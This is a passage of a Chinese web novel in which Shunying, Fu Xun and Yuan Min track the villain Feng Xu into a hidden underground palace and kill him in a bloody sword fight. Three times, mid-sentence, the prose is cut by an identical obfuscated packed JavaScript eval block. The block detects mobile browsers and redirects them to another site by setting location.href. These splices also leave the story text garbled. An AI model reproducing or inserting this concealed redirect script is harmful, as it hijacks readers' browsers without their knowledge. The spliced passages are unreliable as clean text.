舜英喝下安神汤,觉得心神安宁了些,靠着凭几慢慢合上眼,帐外声音却像高了数倍,吵得她更睡不着。 元承赟和苻洵都刻意压低声音,传到帐中含含糊糊,只听苻洵连声道谢,旋即帘子“咣当”一声掀开,苻洵笑吟吟走进来:“太好了,承赟那儿有强效的安神丸药,虽说药性猛,但你如今这样子,不如先吃几丸猛药,睡好了再慢慢补。” 舜英将信将疑接过来:“承赟,他怎会有这东西?” 苻洵道:“行伍之人,有时候操心过多,难以入眠也很常见。” 舜英默默回想片刻,承赟那张爽朗的笑脸在眼前晃来晃去、还有那健壮如牛的体格……似乎想到什么。 苻洵忙说:“或许都跟你一样,在强撑呢。” 舜英淡淡说了声“或许吧”,不再迟疑,倒出丸药用安神汤服下,再闭上眼后不多时,呼吸逐渐轻缓绵长。 苻洵托起她上半身,抽走凭几,再慢慢把她放下躺好,盖上被子,静静注视她的睡颜。 “张牙舞爪,虚张声势。”盯着看了片刻,他唇角扬起一缕温柔笑意,起身走出帐篷。 夜深千帐灯,苻洵走过一座座晕黄的帐篷,径直走到承赟的帐篷前,左顾右盼一番,三步并作两步走到旁边那座帐篷门口,用不大不小的声音说:“多谢赠药。” 承赟忙从自己帐篷出来:“我说你这人,那么较真作甚?” 苻洵漫不经心笑了:“礼不可废。” 承赟被噎住,正要上手拉苻洵,那座帐篷帘子掀开,元旻走出来:“你怎么知道这顶帐篷是?” “干净呗”,苻洵淡淡道,“行军打仗,有几个能像你那么讲究?” 承赟忙不迭解释:“四叔,我真没给他透一丝风。” “知道”,元旻淡淡地说,目不转睛盯着苻洵,“他若想看出点什么,没几个人瞒得住。” 苻洵弯了弯唇角:“有空?谈谈?” 元旻点头:“谈吧。” 承赟一个头两个大:“两位……长辈,天色已晚不如……” 苻洵和元旻同时转头:“你先回去。” 承赟瞟了一眼二人腰间佩刀和和佩剑,赔笑道:“我刚得了一坛好酒,不如……” 元旻指了指阿茹娜雪山:“去那儿谈?” 苻洵挑了挑眉:“走。” 元旻先行,苻洵懒懒散散走了几步,回首对承赟笑笑:“放心,三十好几的人,绝不打架,好好谈……” 承赟心说,你们那杀气腾腾的表情,可不像会好好谈,于是紧跟几步,又听苻洵慢吞吞继续说:“我又不跟他学,仗势欺人、恃强凌弱。” 承赟扶额:“……” . 半个时辰后,阿茹娜雪山北麓半山腰。 元旻一袭白衣纤尘不染,沿山路不疾不徐往上走,苻洵早到了,凝神俯视着脚底的柘枝城废墟、若有所思。 苻洵忽然开口:“慢点,那儿有个坑。” 元旻垂眸瞟了一眼,绕过泥坑走到他身后,目不转睛注视他许久:“她是你救的?” 苻洵懒洋洋抬头一瞥:“你说呢?” 元旻又沉默半晌,艰涩道;“多谢。” “你替她谢我?你有什么身……”苻洵嗤笑了两声,迅速停住嘲讽语气,泰然道,“自己的夫人自己救。” 然后,他绽出个诚恳的笑容:“我替我家夫人多谢你赠药。” 这次,元旻沉默得更久,因为他发现,无论过多少年,苻洵这张破嘴从没变过。 迎着夜风,元旻忽然开口:“你下定杀心……不是因为灵昌宫变,甚至不是因为蒙舍王城,而是那年在洛京、我拒绝你赠药?” 苻洵轻嗤:“多谢多谢,原来你还记得自己做过什么。” 元旻又问:“所以,究竟是从何时起?” 苻洵一抬眉毛:“忘了……我这人不记仇,一般当场报,过上十天半月就忘了。懒得翻来覆去记那么多旧账,累。” 他还真的半点不内耗,元旻简直无言以对。 苻洵不可思议盯着他:“你该不会以为,我大半夜专程找你谈这个?” 元旻神色一冷:“这个不值得谈?” “你是不是……”苻洵怒火中烧,咬牙咽下“有病”二字,忽然身子一颤,舒展眉眼轻笑,“你确定要谈?谈吧。” 元旻思索片刻,轻声问:“你救了她,然后趁她之危娶了她?” “趁人之危,算是吧……不过我们那些往事,你心里不是清楚得很?”苻洵噙一丝玩味笑意,上下打量着他,悠悠反问,“所以,你是想看她死了葬在阳华山,还是想看她活着做我的夫人?” 元旻愣住,望向山下,营帐的灯已熄灭大半,只剩几盏伶仃在黑暗里。他盯着王宫废墟,声音发颤:“为什么?我那么信任她,给她女人最高的位置,给她权力、尊荣……” “什么叫‘女人’最高的位置,什么叫‘给她’?”苻洵漫声打断,笑容冰冷,“她首先是个人,其次才是女人。她不是个物件,更不该价高者得,她的命运本就该由自己决定。” 元旻仰头,认真驳斥:“她临朝称制的权力是我给的,如果她喜欢,我也可以给她更多,像你一样,这大好河山、至高尊位……” “你一直这样居高临下、自说自话么?”苻洵奇怪地注视着元旻,忽然露出嘲讽,“给她?你有这资格么?你凭什么替三军、替两国重臣、替千万百姓决定他们的命运?” 顿了顿,他冷笑着,无情揭开最后一层遮羞布: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160955|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当年你为了夺权,默许我接近她。若真有当天下共主的机会,你舍得让?怕不是又一道圣旨,你为帝她为后,让她继续一辈子围着你转!” 元旻脸上没有情绪,只静静听着,似乎在认真揣摩他每句话的含义。 “你口口声声‘给她’,可她拥有的一切,从来不是谁‘给’她的,是她自己步步为营九死一生拿到的”,苻洵看向山下灯火阑珊,眼眸闪着赞赏和仰慕,一字一字沉声道,“她如今坐那九五高位,不是谁纡尊降贵赏赐她,而是众望所归,她,本来就属于那里。” 元旻默了许久,终于回过神:“所以,你找我出来,究竟要谈什么?” “你来都来了,谈正事”,苻洵平复片刻心绪,指向柘枝城,“若我没记错,冯太后之前在柘枝城生活过十几年,她有没有跟你讲过王宫旧事?” 元旻:“幼时谈过。” 苻洵点点头:“年前承赟他们把冯栩围在柘枝城,等攻进来,他和几千狼卫带着大堆石脂失踪了。” 元旻反应过来:“你们怀疑有暗道?” “肯定有暗道”,苻洵笃定地说,“我们问过冯梨,可她那性子压根不记得这些。难得你来了,就问问你,你那么擅长记旧账,指不定还有印象。” 元旻认真思考一阵,摇摇头:“她没跟我讲过在哪里,不过我确信她知道。我明天一早就出发,回昇阳问她。” “也只能如此”,苻洵思量片刻,“我那里有一匹日行千里的乌骊,还有手下亲兵,明天都借给你。早去早回,有劳。” 元旻微微一礼:“平定北宛也是我毕生心愿。”话一出口,他唇角忽地绽出如释重负的微笑,脊背挺得更直,在夜风中拂袖转身…… 蓦然僵住。 下山道路上,一条笔直的黑影忽然动了,轻盈如片羽悠悠落在他们面前:“过了明晚再说。” 元旻一愣:“你来多久了?” 苻洵平静地说:“从你开始谈正事……” 元旻松了口气,又微微蹙眉:“你不是睡着了?” “多谢赠药,我确实睡得很好”,舜英笑了笑,“我一行军就觉少,一两个时辰醒一次,醒了出去巡巡营散散心、回去可以睡得更踏实。” 元旻正要说“我怎么不知道”,忽然想起,以她从前的性子、怕是半夜醒了也不敢起来吵到他,难怪总是头痛,于是沉默下去。 舜英却泰然道:“猜到你会来,不想这般低调。” 苻洵悠悠接口:“你这样隐姓埋名给承赟做军师太屈才,不如来帅帐,我只擅长奇兵,论粮草调度和正兵远不如你。” 见元旻没接口,苻洵声音软了几分:“算我央求你,她最近实在太累……” 他们如此磊落,倒显得元旻过于敏感多思,沉吟片刻,他冷冷注视着苻洵:“你凭什么央求我?” 苻洵怒火又起,咬住后槽牙正酝酿说辞,却听元旻淡淡道:“我一心抗敌,还轮得到你央求?” 苻洵罕见地被噎得哑口无言,舜英紧闭双唇、憋笑憋得十分难受。 “明天一早要回昇阳,告辞!”元旻再次向二人施了一礼,转身就走。 “等等——”舜英喊住他。 苻洵歪了歪头:“啧……你怎么老听话听一半,都说了过明晚再走。” 元旻转头,疑惑地看向他们。 忽地,一声悠扬的号角撕破夜晚,旋即,沉睡的柘枝城活了过来。叮叮当当一阵集结的鸣钟,一道接一道火焰腾空亮起,组成蔚为壮观的火龙,三五条火龙在营地穿梭,飞速朝一个方向汇拢——王宫废墟。 苻洵与舜英对视一眼,看向元旻:“你不用跑这一趟了。” “我先去看看。”舜英话音刚落,人已不在原地,匆匆下山时,带起一丝皂角和蜜合香混合的馥郁。 苻洵向元旻伸出手:“走,一起去?” 227. 狼主地宫 元旻看到舜英越飘越远,自己轻身工夫实在……于是迟疑片刻,咬咬牙握住苻洵伸出的手,二人一起使力,向山下奔去。 他们俩回到营地时,苻洹、元承赟、谢恬等人已赶到帅帐,将舜英围在中央。 见他二人携手出现,唇角不动声色抽搐了几下。 桑珠霍地掀帘进来:“叶儿他……” 谢恬点点头:“别担心,苏衣和苏裳已经追过去了。” 桑珠骤然明白过来,气得两眼发愣:“你们……你们故意支开我,让叶儿大半夜一个人在帐篷!” “他们不会伤害他”,舜英扫视了一眼帐中,“谢恬和阿洵跟我去前面开路,承赟和武安王率援军跟过来。” 承赟干笑:“陛下,您和宸王殿下万尊之躯,何故以身犯险?” 舜英头都没转一下:“若不能手刃冯栩,我坐上这位置毫无意义。” 众人一时沉默。 苻洹疑惑:“如何跟?” 元旻沉声道:“你们沿途留标记,我给他们带路。” “就这么办。”舜英思索片刻,带上苻洵、谢恬及一些飞廉武士,掀开帘子往外疾步走,其余人也纷纷回营整理兵甲,预备出帐篷。 桑珠跳起来跟上去:“我呢我呢?” 舜英看了她一眼:“跑快点,我们没空等你。” 承赟目送他们走远,寻了副软甲,一边帮元旻穿,一边低声问:“四叔,他们这唱的哪出?” “果然聪慧”,元旻唇角弯了弯,眼底露出温暖赞赏,“我都差点忘了,咱们认识的人里,除了母后和冯梨,还有个人更熟悉这座王宫。” 承赟一头雾水思索片刻,惊愕睁大眼睛:“她?” . 呈现在眼前的,是一面高阔石洞,石壁上的青苔浑然一体、潮润湿滑,渗出一滴滴沁凉的水珠,看不出任何通道留下的痕迹。 “姐姐,追踪香就是在这消失的。”苻洵低声说。 桑珠嗅了嗅鼻子,好奇地问:“气味,我怎么嗅不到?” 谢恬声音更低:“废话,你都能嗅到,那衣裳早被扒掉了。” 追踪香并不是香粉,而是某种死去蛊虫炮制的细末,一经沾衣就难以消散,可用金蝉感应。 苻洵与舜英对视一眼:“只能先试试它。” 舜英让谢恬先散开在石壁寻找踪迹,然后右手执刀、左手牵住他左手,四顾观望。 “我开始了。”苻洵将右手贴到石壁上,微笑着闭上双眼。 桑珠站在苻洵背后警戒,蓦然一瞥,惊愕地睁大双眼,捂住嘴压低声音道:“天——那是什么?” 透过玄色葛麻外袍,苻洵心脏的位置缓缓透出点亮光,那亮光迅速扩散、薄得像一层纱,将苻洵和舜英罩在浅金之中,将半面石壁映出雾蒙蒙莹绿。 随着金光越涨越强,苻洵微微颤抖,嘴唇上血色褪去,额头不断渗出一颗颗豆大的汗珠。 窸窸窣窣一阵碎响,蚂蚁、蟋蟀、地蜂、蚯蚓、蝎子……从四面八方涌来,在粘滑的石壁上堆了一层又一层,随后是□□、蚰蜒、蛇…… 万蛊之王的力量。 聚在洞中的毒虫越来越多,苻洵脸色越来越苍白,双腿抖动得厉害,靠着石壁缓缓滑倒,舜英忙跪在地上紧紧抱住他:“阿洵,歇歇吧……” 苻洵没说话,甚至纹丝不动,只深吸一口气。 金光越来越盛,他按在石壁的手逐渐松脱,开始无力下垂。 舜英想了想,把刀横放在地上,抓住他另一只手,替他撑着按到石壁上:“阿洵,我倒数十下,再找不到就放弃。” “十、九、八、七……” “找到了!”龙牙惊喜高呼。 金光乍然一收,苻洵长舒一口气,晕倒在舜英怀里。晕倒之前,他还不忘做个奇异的手势,“轰”地一声,被召唤来的虫蚁一哄而散,像褪去的潮水。 谢恬一手擎着风灯,三步并作两步登上石壁,只见约两丈高的之处,虫蚁疯狂朝着几条细缝钻去,缝隙形状是三尺的圆圈。谢恬伸手摸了摸,那圈缝隙没有青苔、很坚实,还有几个圆圆孔洞。 他心底升腾起不祥预感。就在此时,在另一侧察看的苏铁也喊起来:“这儿也有,还不止一个,这是……” 不祥的直觉越来越浓。 “躲开!”谢恬瞳孔急遽收缩,飞速降落地面、一把将桑珠推到角落,同时咬牙搬起一块石头,挡在苻洵和舜英身前。舜英搂着苻洵就势一滚,拾起一块石头甩向半空。 “砰!”石块在半空被一支重箭硬碰硬,被击得粉碎,重箭去势偏了偏,钉在他们头顶的石壁上,尾羽仍震颤不休。 石壁上那些圆形孔洞,不约而同射出三轮重箭,却并未对着人,而是齐刷刷钉在石壁上,擦出一团团火花。 昏睡中的苻洵忽然轻声开口:“火。” “躲中间去!”舜英骤然厉喝,抱住他就地一滚。同时,重箭射进石壁迸溅的火星,一点点晕红,忽然“轰”地一声,腾起一圈火焰。那火焰活了般,迅速窜上石壁,将整个石洞轰轰烈烈燃成焰海。 石洞很大,躲在正中的几人并未被火舌燎到,却依然被炙烤得喘不过气。 熊熊烈火中,舜英下意识将身躯紧紧贴住苻洵,任汗水将二人浸透,衣袍沾湿在一起。 “南斗死,北斗生……”桑珠呆愣注视着火焰,忽然开始喃喃自语,“这地方我来过。” 谢恬急切地问:“反了吧,确定是南斗死北斗生?” 桑珠蹙眉想了片刻:“当时父汗确实这样跟我说的,还要我必须记住……当时我听不懂,父汗还骂我……” “这不就是向死而生?我冲进去试试!”谢恬咬牙站起,捋袖就要往火墙冲。 “回来!”舜英忙喝止他,“北宛连星象师都没几个,别想复杂了,摸摸地上石头!” 苻洵颤巍巍抬手指向某处:“北。” “少说话!”舜英一把将他的手塞回去,烈焰滚滚,烤得她口干舌燥,从他怀中摸出一瓶补血丹,一股脑倒进他嘴里:“好生歇着,待会儿还有恶仗!” 她又看了看痛得奄奄一息的苻洵,咬咬牙褪下外袍,再去褪他的外袍,二人隔着层单薄中衣紧贴相拥,能感知到对方越来越强劲有力的心跳。 桑珠瞠目结舌:“你们……” “去,帮我们把刀捡回来。”舜英飞快截住桑珠话头。 桑珠揉揉眼睛,觑了一眼泼烈烈大火,捡起他们褪下的外袍搓几搓,搓成根长绳、尾端结了个环,挥臂甩出。 “叮当!”两声脆响,两柄被烤滚热的刀落在面前,外袍结成的长绳也着了火,顷刻被烧成一截白灰。 舜英:“……” 很好,彻底没得穿了,这脸丢到北宛了。 旁边“轧轧”闷响不绝于耳,谢恬正仔细观察地面浅浅凹凸,指挥属下将石块搬来搬去,然后轻快呼喊“好了”。 猛然一阵闷响,整个石洞都开始震颤。 桑珠恍然大悟:“通道在地……” 话音未落,石洞地板正中忽然轰隆隆裂开缝隙,下坠的瞬间,谢恬一把揪住桑珠紧跟着跳下:“你怎么不等我死了再说?” 舜英咬牙抱住苻洵,转了个方向让自己在下。说时迟那时快,怀里的苻洵突然动了,将刀柄塞到她手中,那刀柄晾了片刻,已不复先前滚烫。舜英会意,高声叱令:“迎敌!” 二人在半空互相踢向对方,分开、陡然旋身,借这一脚之力,舜英加速坠落、同时横向挥出数道重影,苻洵则双手握住刀柄自上而下一劈…… 纵横交错,满室雪亮刀光,像一场无止境的雪、像覆盖天地的飞霜,那冷白迅速被飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165577|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溅的血染红。 锐利森冷的杀气中,淋淋漓漓满屋温热雨滴。 血雨。 漫长得像一场恶梦,其实不过刹那。 地上横七竖八倒了一片,元昙站在密室中央,舜英的刀紧贴她脖颈,架在她肩上,她却不动声色将冯叶拉进怀里。谢恬、苏铁和龙牙对视一眼,微微颔首,同时奔向被捆在角落的苏衣和苏裳,低声叮嘱:“南斗死,北斗生,出去接应!” 同时两两抓住二女脚踝,用力将她们往上一送,在头顶盖板即将合拢的刹那,苏衣苏裳像两瓣桃花,轻飘飘从出口飞出。 舜英高声补充一句:“天璇找大军,天玑找郎琊。” 正前方传来阴恻恻的笑声:“师父,我们又见面了。” 苻洵懒洋洋笑着,刀并未出鞘,抱臂看着冯栩、一脸不屑和玩味:“又见面了,真晦气。” “听说师父整天对一个女人跪来跪去,岂非更晦气?”冯栩笑吟吟站起来,“狸儿送师父的小礼物,师父可还喜欢?” 苻洵啧啧摇头:“很喜欢,可惜了……送给我,你自己就没有了。” 冯栩瞳孔急遽收缩,双颊透出薄红,骤然疾行如风,冲到苻洵面前,左手奋力一挥,快得像影子。 苻洵倏然反手一格,同时抽刀出鞘贴着他刀面绞缠,再使用巧劲震向刀面,力量却蓦地一空,冯栩已抽刀攻向他腰胯…… “师父怎地慢了许多?莫不是跟女人厮混伤了身子?” 冯栩一边说,一边挥刀左劈右砍、一刀比一刀狠辣。 还专攻下三路。 “有长进,太快分胜负多没意思”,苻洵笑得轻松惬意,“人生得意须尽欢,能厮混总比力不从心好。” “……”舜英双颊浮起薄红,高喊一声“玉衡”,将元昙往谢恬面前一推,挥刀冲向缠斗的二人。 冯栩逐渐抵挡不支,大怒:“你们以多欺少!” “就欺负你,怎么了?”苻洵混不吝轻嗤,手中刀却慢了下来、力道渐弱,鼻孔流下两行鲜血。 舜英咬牙截住冯栩奋力一劈,虎口被震得发麻,眼见苻洵已显颓势,她心急如焚,又不敢喊叫自曝短处,只好强行镇定专心对付冯栩攻势。 冯栩动作仍不够快,但是——他力气大,一力降十会。 “叮——”她手中刀被振飞,正要去拔另一把短刀,冯栩刀锋霍然劈向苻洵,她只好抱住苻洵就地一滚,避开攻击。 冯栩像是被激怒,毫无章法乱劈乱砍,在石地面斫出道道白痕,若舜英和苻洵体力尚佳、自然喜闻乐见他漏出破绽,可如今二人一个虚弱、一个半个多月没睡觉脑子嗡嗡乱响…… “呲啦!”分神的片刻,苻洵后背被割下大片中衣,二人已退到角落、退无可退。 头顶泻下一股热浪,噗通噗通几声闷响。 “叮”,头顶拂过清雅的沉水香,银甲在空中旋转出一道流丽寒光,又听“噌噌噌”几声嘶哑锐响,冯栩的刀被绞飞出去。 “四哥——”元昙陡然发出一声尖锐嘶喊,见了鬼似的,歇斯底里惨叫起来。 元旻头也没转,抡起一团剑花冲向冯栩,冯栩迅速从腰间再抽出一把长刀,身躯向后斜斜一倾,后滑几步,元旻欺身上前,一刀比一刀强劲有力。 “这儿交给你了!”舜英忙抱住苻洵靠在石壁上,检查他后背是否有伤口。 冯叶兴奋大叫:“舅舅真厉害!” 承赟满眼欣赏和仰慕、啧啧称奇:“四叔果然恢复如初,只是这冯栩的刀法似乎更占上风……” “一起上啊!”舜英哭笑不得,“又不是比武,你们几个在等什么!” 承赟忙举起陌刀,苻洹也举起长枪……两根兵器大有绞一起先打架的趋势。 “承赟去!”舜英头大如斗,瞥了一眼四周,“武安王,注意警戒!” 228. 珠联璧合 苻洹性子沉稳,刚落地就开始观察四周场景:这是一座长约二十丈、宽约十丈的地宫,四个角和柱旁都点着牛油铜灯,火焰很旺……一定另有气孔,且开口不小。 殿内近卫不多,仅仅二十来人,几乎是在瞬间同时被人解决,他又看向石壁……没有明显的甬道。 头顶精兵开始往下放悬梯,顺着悬梯降下地宫。苻洹先安排他们背好刀与盾牌,再安排几个机灵的武官,开始沿墙脚巡视,他则站在殿中四处张望、沉思。 那壁三人缠斗正酣,元旻执剑、元承赟使陌刀,寒光和杀气将冯栩堵得水泄不通。然而,冯栩灵活敏捷、像一条狂舞的毒蛇,一柄弯刀在手中挽起簇簇白影,冷光如匹练将他护得密不透风,再信手挥洒出去…… “噗——”元旻身上划出第一道血痕,同时被震得倒退几步。 冯栩力道分毫未减,继续欺身砍去,同时唇角扬起蔑笑:“怎么,死过一回就不行了?” “铛”,一串火花从刀锋溅落,元承赟将陌刀往上一挑,翻转手腕劈下。 冯栩侧身避开,贴地疾速滑向承赟,元旻立即紧随其后刺向他后背。冯栩条件反射一旋身,弯刀被元旻格住。 冯栩眼里忽然带上怜悯:“可怜啊可怜。” 元旻瞳孔骤然一缩。 冯栩轻笑:“大梦初醒,女人孩子、江山社稷全被收继……” 元旻手上力道一滞,旋即清醒,又加了几分力道,却已经晚了,冯栩手中弯刀凌厉划过,他只来得及后仰躲闪。 “嘶——”胸襟被划出第二道血痕。 冯栩乘胜追击,承赟在其身后又是一刀,冯栩旋身格住,继续柔声轻笑:“可怜……家破人亡,还要为弑兄仇人卖命。” 苻洹心里五味陈杂——这边打架边嘴毒的习惯…… 承赟泰然地扬眉一笑:“管好你自己!”双手用力一压,力道之大将冯栩压得双膝弯曲。 冯栩神色显出凝重,使出吃奶的劲将陌刀力道拉偏,同时足尖一点。承赟只觉眼前一花,冯栩已近在眼前,弹跳而起、手中弯刀挟风雷之势劈下。 “呲啦”,温热的血溅了承赟满脸,却不是从他自己身上。 电光火石间,舜英闪移到冯栩身后,斜斜劈下,疼得冯栩手臂一抖,摔落在地。 旋即,她飞快丢下一句“你们继续”,眼一花,又闪移回角落,紧贴着搂住苻洵。 苻洹难以置信地揉了揉眼睛,仔细打量一番,迅速别过脸、不敢再看第二眼:他终于确定,舜英只穿着中衣……苻洵更是不堪,后背大片衣衫被撕下,露出一段光洁腰背,这衣不蔽体的模样,简直是——伤风败俗! 不是,这俩人怎么回事,非得在这时候搂搂抱抱? 承赟也才看清她穿着,懵了刹那,旋即凝聚心神,乘胜继续追着冯栩砍。元旻也忍着痛,拾起剑与承赟前后夹击。 “可怜啊,可怜”,冯栩动作行云流水,丝毫不像受过伤,边打边笑吟吟柔声道,“你什么都不是了,你的江山跟别人姓……” “呲!”元旻一剑从他背后捅进去,猛然抽出、带起一蓬血雾,泄愤似的继续刺下。 冯栩早已预料他下一剑,头也没回反手一旋,将那不遗余力的一剑格飞,再一边凝神对付承赟,一边继续滔滔不绝:“你的孩子认别人当爹,你的女人……” 骂得真脏……苻洹有洗耳朵的冲动。 “谁能比你可怜,阿狈?”苻洵一直静静靠在角落,忽然轻轻笑起来,声音不大,传入冯栩耳中却十分清晰,“残缺、孱弱,小时候被爹娘丢弃,长大遇到个对你好点的,就追着认爹……” 冯栩笑容一滞,动作凌厉不减,准头却已偏了几分。 苻洵却似想起高兴的事,越笑越轻快:“世上唯一对你好的那个亲人,还被你亲手害死了。” 冯栩怒吼:“不是我!” 苻洵笑得肩膀发颤:“更可怜的是,打了十多年,屡战屡败,壮志凌云转头空……” 冯栩冷笑:“你又好到哪儿?吃软饭的懦夫!” “多谢夸奖,不像你……想吃软饭还没那本事。”苻洵自豪地挑了挑眉,舜英听他越说越离谱,有点想缝起那张破嘴,却转念一想,他从不会不合时宜地耍嘴皮子。于是只牵住他的手,转头注视冯栩那边打斗。 冯栩动作仍很流畅,却过于流畅、一招一式不遗余力——他急躁了。 苻洵捏了捏她的手,在她掌心缓缓画着符号,嘴上却没停:“辛辛苦苦夺权篡位,到头来一个成年子嗣都没有,还是得巴巴将亲侄子接回来,将抢到的王位拱手相让……哦,可能连王位都没了……” 苻洹一愣:“冯栩不是子嗣众多?” 苻洵笑得更开心:“有的孩子看起来好好的,突然就得了怪病,然后莫名其妙死了……” 冯栩动作陡然一顿,眼中掠过狠厉:“是你?” “不是我……我只是好奇心重,多打听了几句”,苻洵悠悠道,“本来觉得自己年富力强,阏氏身子坏了还有别的女人,可惜跟被诅咒一般,再也没动静,年纪轻轻就……” 冯栩眼瞳急遽收缩,分神的刹那,元承赟一刀砍伤他右肩,元旻也在他背后划出两道剑伤,他却仿佛不知痛,急切高呼:“你知道怎么回事?说清楚!” “叫声爹我就说”,苻洵笑容可掬,“别用那副表情看我,前几年也不知是谁闹着要当我儿子。” 苻洹和舜英的嘴角狠狠抽搐了几下。 承赟和元旻也有些难以言喻的尴尬,忽地感觉眼前一花,与自己的对抗的力道陡然一松,一团白光弹跳而起、冲着苻洵那角落狂飙。 “铛!”弯刀砍在石壁上,迸溅一串火花,苻洵和舜英已不在原地。 说时迟那时快,冯栩感觉脑后袭来一痕杀意,条件反射举刀去格挡,刀身传来嗡嗡急震,再次挥动手感已然不对。 “叮叮叮……”几声轻微脆响,他的刀断成碎片,轻飘飘飞了出去。他心一沉,撩开刀柄旋身去拔腰间短刀。 仅剩的那只左手突然很冷,像被陡然浸入冰窟,寒冷刺骨,同样的寒气萦绕腰间盘旋。 承赟和元旻只看到冯栩僵在原地,两道白影绕他飞旋,刀光像无数片冰冷的雪花,间或飞出几滴殷红。 美得残酷。 终于,冯栩动了,似一道电光向殿上奔掣逃亡,元旻当机立断飞身上前,三尺青锋霍然挥出。 来如雷霆收震怒,罢如江海凝清光。 冯栩强劲的身影陡然一顿,像被突如其来的飓风摧折成两截。 同一时刻,一道白影像劲射的重箭,将冯栩冲得倒退几步、后背撞上柱子,另一道白影像轻盈的雪花,自上而下劈开电光。 然后,是狂飙的血、飞溅的血。 待风停雨歇,众人看清场景后,齐齐发出惊呼:冯栩靠柱站得很直,左臂无力耷拉下来,肩膀一道深可见骨的刀伤,正突突往外冒血。他之所以站得直,是因为两柄刀,一把在腹腔、一把在左腿,深得没入刀柄,将他牢牢钉在柱子上。 腥风血雨中,舜英一个俯冲降下,搀起摇摇欲坠的苻洵,再次紧紧搂住。 元旻和元承赟对视一眼,承赟拔地而起、双手抡起陌刀猛然劈砍而下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172971|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯栩喉咙里挤出一声惨嚎,那条凌虐过无数平民、砍杀过无数叛将的左臂,从肩膀处齐齐断开,掉落在地时还无力屈伸了几下。 同时,元旻手中青锋刺穿他右腿,将他更牢固地钉在柱子上。 最接近禽兽的那个人,此刻被拉成一个血淋淋的“人”字,展示在天壤之间。 元旻转身看向一旁相拥的二人,既困惑又酸涩,然而下一刻看清楚后,他愣在原地…… 苻洵的中衣很单薄,心口处透着一团黯淡金光,明明灭灭摇摇欲坠。元旻注视着那星熟悉的金光,愣怔了片刻,解开软甲、脱下套在外面的半袖褙子递过去。 舜英颔首致谢,将那件褙子裹在苻洵身上。其他人不约而同背过脸,不敢直视二人。 “你们不是嫌热啊”,桑珠恍然大悟,也解开套在外面的百褶裙递过去,“早说啊,快拿去穿上,我里面还套着好几件。” 桑珠和舜英身量相似,裙子比较合身,舜英套好裙子,手握手搀住苻洵站起,走到台阶上坐下。 冯叶跑到他们跟前:“姑丈的武艺也好厉害,可不可以教教叶儿?” 舜英挤出一丝微笑,摸了摸他的头:“叶儿乖,以后姑姑给你找最厉害的武师傅,先去见你额吉。” 叶儿撒腿往桑珠面前跑,桑珠牵着他走到元昙面前,柔声说:“叶儿,我也是你的姑姑。这位才是你额吉,她是……草原上最美的女人。” 刀刃贴着元昙娇嫩肌肤,她脸上却没有丝毫惧色,只怔怔注视着冯叶,将冯叶轻轻拉往怀里。 冯叶怔怔盯着她绝美的脸,有点怕、想后退,却又莫名感觉她亲切,于是无所适从地瞄向桑珠求助:“姑姑——” 元昙一遍遍温柔地抚摸他头发、又一点点抚过他脸颊,眼眸逐渐涌出泪水:“养得真好,眼睛很清澈坚定……谢谢你,桑珠。” “我只照顾他衣食住行,教他怎么生存”,桑珠脸上显出凝重,“真正教叶儿仁义礼智信、让他变得正直勇敢的人,是你的四哥,叶儿的亲舅舅。” 元昙眼中流下一大颗大颗泪珠,难以置信看向元旻:“竟是你将他拉扯大……为什么……” “因为稚子无辜”,元旻转过身、款款走向元昙,“阿昙,无论崔夫人、母后、阿昀,还是阿彬,这些恩恩怨怨早成一团乱麻……往事已矣,放下吧,大翊虽不复存在,我当年在凰羽寺发下的重誓,依然有效。” “照如此说,元昙已获得你的原宥”,舜英在台阶上坐直,朗声道,“元昙,你虽刺杀北宛第三十八代汗王,又作为帮凶背刺母国,但念及之后甘为内应传递军情,又助我们暗杀冯栩子嗣……” “是她?”苻洹惊呼出声。 “阿洵,我没猜错吧”,舜英转头看着苻洵,苻洵微微颔首,舜英继续说,“从建宁十三年起,元昙开始通过郎琊秘密传递情报;建宁十四年春,更是传出冯栩确切行踪,使两国联军得以顺利夺回朔门关。” 苻洵面朝众人,继续道:“不止如此,她还找我要了两样东西……” 半死不活的冯栩突然发出野兽般嘶吼:“是你!是你给他们下了慢性毒!” 元昙咯咯笑起来:“不止如此,还有每晚端给你那碗强身健体汤……可真是好东西,让你当不成男人的好东西。” 冯栩糊满血浆的脸上涌出泪水:“为什么?我对你还不够好么?他们是你的亲生骨肉,就因为我杀了你和师父的孩子、你和哥哥的孩子,你就要杀掉我们的孩子?” “男人啊,自以为是的蠢货”,元昙笑得两肩发颤,“你师父他跟我没有孩子,思源和思洛的亲爹早死了!” 229. 朱雀涅盘 